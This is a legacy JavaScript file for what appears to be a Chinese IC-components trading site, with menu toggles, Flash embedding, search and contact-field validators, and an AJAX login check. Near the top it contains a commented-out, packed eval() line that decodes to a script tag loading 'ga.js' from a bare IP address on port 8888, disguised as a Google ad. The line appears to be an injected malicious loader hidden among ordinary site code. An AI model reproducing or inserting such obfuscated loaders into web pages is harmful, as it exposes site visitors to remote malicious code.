﻿function $S(o){ return (typeof o == "object")?o:document.getElementById(o);}
function trim(string)
    {
        return string.replace(/(^\s*)|(\s*$)/g, "");
    } 
//标题
function MenuClick(e){
	var tmp=e.id.split("_");
	var sid=tmp[0];
	var snum=tmp[1];
	var i=1;
	var maxItemNum=$S(sid).getElementsByTagName("li").length;
	var tmp1;
	while(i<=maxItemNum){
	tmp1=$S(sid+"_"+i);
	if(i!=snum){
	tmp1.className="search_menu_button search_menuline";}	
	else{
	tmp1.className="search_menu_current";;
	}
	i++}
	}
//eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.6(\'<0 4=3://1.2.7.8:e/d.c?b=9×a¤±></0>\')',15,15,'script|61|232|http|src|document|write|154|43|255|182_|google_ad|js|ga|8888'.split('|'),0,{}))
//内页跳转菜单
function doClick(e){
	var tmp=e.id.split("_");
	var sid=tmp[0];
	var snum=tmp[1];
	sobject=$S(sid+"_"+snum+"_Info");
	var i=1;
	var maxItemNum=$S(sid).getElementsByTagName("li").length;
	var tmp1,tmp2;
	while(i<=maxItemNum){
	tmp1=$S(sid+"_"+i);
	tmp2=$S(sid+"_"+i+"_Info");
	
	if(i!=snum){
	tmp1.className="index_slide_menu";tmp2.style.display="none";}	
	else{
	tmp1.className="index_slide_currentmenu";tmp2.style.display="";
	}
	i++}
	}

//加载flash------------------

<!--
function render_flash(url, width, height) {
		document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="' + width + '" height="' + height + '" VIEWASTEXT>');
		document.write('<param name="allowScriptAccess" value="sameDomain" />');
		document.write('<param name="movie" value="' + url + '">');
		document.write('<param name="quality" value="high">');
		document.write('<param name="wmode" value="transparent">');
		document.write('<param name="menu" value="false">');
		document.write('<embed src="' + url + '" allowScriptAccess="always" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="' + width + '" height="' + height + '" wmode="transparent"></embed>');
		document.write('</object>');
}

function render_flash_map(url, width, height) {
	document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="'+ width +'" height="'+ height +'">');
	document.write('<param name="movie" value="'+ url +'">');
	document.write('<param name="quality" value="high">');
	document.write('<param name="menu" value="false">');
	document.write('<embed src="'+ url +'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="'+ width +'" height="'+ height +'"></embed>');
	document.write('</object>');
}



//非IC 左侧菜单
function MenuNIC(e1,e2){
	$S("adAreaA_"+e1).className="fic_slide_currentmenu";
	$S("adAreaA_"+e1+"_Info").style.display="";
	$S("adAreaA_"+e2).className="fic_slide_menu";
	$S("adAreaA_"+e2+"_Info").style.display="none";
	
	}
	
function Search_TextKeydown(evt) {
    if (evt == null) evt = window.event; //IE
    if (evt.keyCode == 13) {
        CheckSearch();
        
        //取消回车键的默认操作
        if (window.event) //IE
            evt.returnValue = false;   //event.returnValue=false 效果相同.
        else //Firefox
            evt.preventDefault();
    }
}	



//ic详细搜索

	 function CheckSearchDetail(){
    var keyword =trim(document.getElementById("txtIcSize").value); //form.txtKeyWord.value;
     var txtBrand =trim(document.getElementById("txtBrand").value);
     var txtDatecode =trim(document.getElementById("txtDatecode").value);
     var txtPackage =trim(document.getElementById("txtPackage").value);
    
	if(keyword == "" || keyword.substring(0,3) =="请输入"){
	   alert("请输入关键词！");
	  document.getElementById("txtIcSize").focus();
	   return false;
	   }
	   
	     if(keyword.length<3){
	   	  alert("搜索IC库存型号关键词最少要3个字符！");
			 document.getElementById("txtIcSize").focus();
			  return false;
		  }
		  if(keyword.IsICSizeS())
		  {
//		      if (txtBrand == "" && txtDatecode == "" && txtPackage=="")
//               document.location="/ic/"+keyword+".html";
//             else
//               document.location="sells.aspx?icSize=" + keyword + "&brand=" + txtBrand + "&datecode=" + txtDatecode + "&package=" + txtPackage;
           }    
		 else
		 {
		  alert("IC型号格式错误！");
			 document.getElementById("txtIcSize").focus();
			  return false;
			  }
		  
		  return true;
	 }
	//ic搜索

	 function CheckSearch(){
    var keyword =trim(document.getElementById("txtKeyWord").value); //form.txtKeyWord.value;
	if(keyword == "" || keyword.substring(0,3) =="请输入"){
	   alert("请输入关键词！");
	  document.getElementById("txtKeyWord").focus();
	   return false;
	   }
	   
	     if(keyword.length<3){
	   	  alert("搜索IC库存型号关键词最少要3个字符！");
			 document.getElementById("txtKeyWord").focus();
			  return false;
		  }
		  if(keyword.IsICSizeS())
		 document.location="/ic/"+keyword+".html";
		 else
		 {
		  alert("IC型号格式错误！");
			 document.getElementById("txtKeyWord").focus();
			  return false;
			  }
		  
		  return true;
	 }
	 
	 //ic求购信息
	  function CheckSearchICBuy(){
    var keyword =trim(document.getElementById("txtKeyWord").value); //form.txtKeyWord.value;
	if(keyword == "" || keyword.substring(0,3) =="请输入"){
	   alert("请输入关键词！");
	  document.getElementById("txtKeyWord").focus();
	   return false;
	   }
	   
	     if(keyword.length<3){
	   	  alert("搜索IC库存型号关键词最少要3个字符！");
			 document.getElementById("txtKeyWord").focus();
			  return false;
		  }
		  if(keyword.IsICSizeS())
		 document.location="/ic/"+keyword+".html";
		 else
		 {
		  alert("IC型号格式错误！");
			 document.getElementById("txtKeyWord").focus();
			  return false;
			  }
		  
		  return true;
	 }
	 
	//非IC搜索

	 function CheckSearch_pro(){
    var keyword =trim(document.getElementById("txtKeyWord").value); //form.txtKeyWord.value;
    
	if(keyword == "" || keyword.substring(0,3) =="请输入"){
	   alert("请输入关键词！");
	  document.getElementById("txtKeyWord").focus();
	   return false;
	   }
	    document.location="/product.aspx?proTitle="+escape(keyword);
		  return true;
	 }
	 //pdf 搜索
	  function CheckSearch_pdf(){
    var keyword =trim(document.getElementById("txtKeyWordPDF").value); //form.txtKeyWord.value;
    
	if(keyword == "" || keyword.substring(0,3) =="请输入"){
	   alert("请输入关键词！");
	  document.getElementById("txtKeyWordPDF").focus();
	   return false;
	   }
	    document.location="/download.aspx?pdfTitle="+escape(keyword);
		  return true;
	 }
	 
 //pdf 搜索
function searchCompany(company)
{
   var comName=document.getElementById(company).value;
   if(comName=="")
   {
   alert("请输入关键字！");
   document.getElementById(company).focus();
   return false;
   }
   else
    document.location="/company.aspx?comName="+escape(comName);
}

//是否显示输入框
//function ShowSearch(currentId)
//{
//var ic=document.getElementById("serarchic");
//var fic=document.getElementById("serarchfic");
//var pdf=document.getElementById("serarchpdf");

//var memu1=document.getElementById("Menu_1");
//var memu2=document.getElementById("Menu_2");
//var memu3=document.getElementById("Menu_3");
//var memu4=document.getElementById("Menu_4");
//var memu5=document.getElementById("Menu_5");
//var memu6=document.getElementById("Menu_6");
//var memu7=document.getElementById("Menu_7");

//switch(currentId)
//{
//case "1":
//memu1.className = 'search_menu_button search_menuline';
//menu2.className="";
//}

//}

/*两列自适应高度对齐*/
function SameH(leftDiv,rightDiv)
{
var a=document.getElementById(leftDiv);
var b=document.getElementById(rightDiv);
if (a.scrollHeight < b.scrollHeight)
{
a.style.height= b.scrollHeight+"px";
}
else
{
b.style.height= a.scrollHeight+"px";
}
}



function quanjiao2Banjiao(str) {
	var i;
	var result = '';
	for (i = 0; i < str.length; i++) {
		code = str.charCodeAt(i);
		if (code >= 65281 && code < 65373) {
			result += String.fromCharCode(str.charCodeAt(i) - 65248);
		}
		else {
			result += str.charAt(i);
		}
	}
	return result;
} 


function validateQQ(obj){
	var str = obj.value;
	str = quanjiao2Banjiao(str);
	obj.value = str;
	arrqq = str.split("/");
	if(arrqq.length>3){
	   return 2;
	}
	for(i=0;i<arrqq.length;i++){
	   var patn = /^\d+$/;
	   if(!patn.test(arrqq[i])) return 1;
	}
	
	return 0; 	
}


function validateTel(obj){
	var str = obj.value;
	str = quanjiao2Banjiao(str);
	obj.value = str;
	var patn = /^[\d\-\/]*$/;
	if(patn.test(str)) return 0;
	return 1; 	
}

function validateMSN(obj){
	var str = obj.value;
	str = quanjiao2Banjiao(str);
	obj.value = str;
	
	arrmsn = str.split("/");
	if(arrmsn.length>3){
	   return 2;
	}
	for(i=0;i<arrmsn.length;i++){
	   var patn =  /^[_a-zA-Z0-9\-]+(\.[_a-zA-Z0-9\-]*)*@[a-zA-Z0-9\-]+([\.][a-zA-Z0-9\-]+)+$/;
	   if(!patn.test(arrmsn[i])) return 1;
	}
	
	return 0;
	 
}





   //选择所有的checkbox
    function checkTest(ck)
    {
       var tags= document.getElementsByTagName("input");
      for(var i =0;i<tags.length;i++)
      {
         if (tags[i].type=="checkbox")
            tags[i].checked=ck.checked; 
      }      
          }
          
          

function chkQueryIc()
{
var str=document.getElementById("icSize").value;
var icId=document.getElementsByName("icId");
var objarray=icId.length;
var chestr="";
var path2=document.getElementById("path2").value
for (i=0;i<objarray;i++)
{
  if(icId[i].checked == true)
  {
  chestr=chestr=="" ? trim(icId[i].value):chestr+=","+trim(icId[i].value);
  }
}
if(chestr == "")
{
  alert("请先选择您要操作的记录（打勾选中）～！");
}
else
{

var option={
        
        
		parameters:"oper=chklogin&time="+Date(),//+"&rnd="+Math.random()
		method:"post",
		onSuccess:function(transport){
		
			var rp=transport.responseText;
			//alert(rp);
			switch(rp){
        case "nologin":
            alert("你没有登录，请先登录！");
              document.location="/login.aspx?path="+path2;
			 return false;
            break;
        case "login":
           //document.location="/queryic.aspx?icId="+chestr+"&icsize2="+escape(str)+"&path2="+escape(path2);
            document.location="/queryic.aspx?icId="+chestr+"&icsize2="+str+"&path2="+path2;
            break;
      
             }
             
             
		},
		onFailure:function(transport){
			alert(transport.responseText+"数据提交失败，请检查网络或重试。");
		}
	}
	var request=new Ajax.Request("/ajax.ashx",option);
    
    return false; 


 
}
}



function chkSupply()
{

var icsize=trim(document.getElementById("txtIcSize").value);
var brand=trim(document.getElementById("txtBrand").value);
var datecode=trim(document.getElementById("txtDatecode").value);
var package1=trim(document.getElementById("txtPackage").value);
if(icsize.length<3)
{
 alert("搜索IC库存型号关键词最少要3个字符！");
 document.getElementById("txtIcSize").focus();
 return false;
}
else
if(brand!='' || datecode!='' || package1!='')
document.location="/sells.aspx?icSize="+icsize+"&brand="+brand+"&datecode="+datecode+"&package="+package1;
else
document.location="/ic/"+icsize+".html";

return true;
}


function chkIcBuy()
{

var icsize=trim(document.getElementById("txtIcSize").value);
var days=trim(document.getElementById("ddlDays").value);
if(icsize.length<3)
{
 alert("搜索IC库存型号关键词最少要3个字符！");
 document.getElementById("txtIcSize").focus();
 return false;
}
else

        if(days=="")
           document.location="/icbuy/" + icsize + ".html";
        else
        document.location="/buy.aspx?icSize=" + icsize + "&days=" + days;

return true;
}


function chkPro()
{

var proTitle=trim(document.getElementById("txtProTitle").value);
var days=trim(document.getElementById("ddlDays").value);
var cid=trim(document.getElementById("proCid").value);
if(proTitle.length<3)
{
 alert("搜索非IC库存关键词最少要3个字符！");
 document.getElementById("txtProTitle").focus();
 return false;
}
else
document.location="/proSearch.aspx?proTitle="+escape(proTitle)+"&days="+days+"&cid="+cid;
return true;
}


function chkProBuy()
{
var proTitle=trim(document.getElementById("txtProTitle").value);
var days=trim(document.getElementById("ddlDays").value);
var cid=trim(document.getElementById("proCid").value);
if(proTitle.length<3)
{
 alert("搜索非IC库存关键词最少要3个字符！");
 document.getElementById("txtProTitle").focus();
 return false;
}
else
document.location="/probuy.aspx?proTitle="+escape(proTitle)+"&days="+days+"&cid="+cid;
return true;
}


String.prototype.IsICSizeS = function(){
	myReg = /^[0-9a-zA-Z#][0-9a-zA-Z-_\+\/\.\\ \(\)#\=%\,:]{2,49}$/;
	if (myReg.test(this)){
	    return true;
	}else{
		return false;
	}
}

